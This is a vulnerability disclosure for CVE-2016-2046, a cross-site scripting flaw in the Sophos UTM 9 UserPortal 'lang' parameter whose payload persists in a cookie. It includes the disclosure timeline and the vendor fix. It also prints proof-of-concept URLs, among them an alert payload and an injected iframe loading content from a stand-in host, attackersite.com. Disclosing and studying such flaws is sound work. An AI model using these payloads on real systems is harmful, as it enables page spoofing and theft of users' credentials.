Title: CVE-2016-2046 – CROSS SITE SCRIPTING IN SOPHOS UTM 9
Product: Sophos UTM 9
Vendor: Sophos
Version: 9.350-12 with pattern version 92405 (potentially lower)
Vendor Notified Date: December 14, 2015
Vendor Resolved Date: December 18, 2015
Release Date: January 28, 2016
Risk: Medium
Authentication: Not Required
Remote: Yes
Description:
A cross-site scripting vulnerability exists in Sophos UTM 9.350-12 with pattern version 92405 that allows attackers to craft a hyperlink that contains a reflected XSS payload via the ‘lang’ parameter. If visited by the targeted user, the XSS payload gets stored in a local cookie variable which is re-executed whenever the UserPortal landing page is visited. By not properly sanitizing the language selection parameter, an attacker can inject arbitrary Javascript or modify page contents by injecting remote HTML content. This does not require that the user be authenticated to the application.
Exploit steps for proof-of-concept:
- The Sophos authentication page has a drop-down option to switch the language. When clicking the drop-down menu and selecting a language, the selection is passed back to the same page using the ‘lang’ URL parameter, which is not properly sanitized. It’s possible to inject malicious payloads into the language option to perform cross-site scripting. The payloads require slight modification to properly escape the vulnerable Javascript code block.
- The relevant Javascript code block with the XSS payload is: https://vulnerablehost.com/?lang=english”;alert(‘xss’);//
- A pop-up box is displayed as a result of the payload being executed.
- Reproduction URL: https://XXX.XXX.XXX.XXX/?lang=english”;alert(‘xss’);//
- This injection isn’t limited to just Javascript payloads. The <script> block can be properly closed out to allow direct HTML code injection that can change the page content, among other options. To work, all ‘=’ characters must be URL encoded or else the application parses them as separate URL parameters. To demonstrate this, the authentication page was replaced with an attacker controlled HTML page displayed within an iframe, stored on a remote machine. The content could be duplicated so that it matches the original layout and styling.
- Reproduction URL: https://vulnerablehost.com/?lang=english%22;</script><iframe width%3d800 height%3d600 src%3dhttp://attackersite.com/html_injection_content.html></iframe><!–//
- Typically this would all be considered Reflected XSS, however, once one of the PoC links above is visited by the targeted user, the data passed via the ‘lang’ parameter is stored in a local cookie file named ‘eup_force_lang’ on the user’s machine. Once the cookie is set, the user no longer needs to visit the malicious crafted links discussed before. The cookie data is injected into the page automatically. This persists until the cookie is cleared from the browser.
Vendor Response:
UTM 9.353 was officially announced and released on January 28, 2016 which includes a fix to address this vulnerability.
Reference:
CVE-2016-2046
https://blogs.sophos.com/2016/01/28/utm-up2date-9-353-released/
Credit:
Mike Lisi
HALOCK Security Labs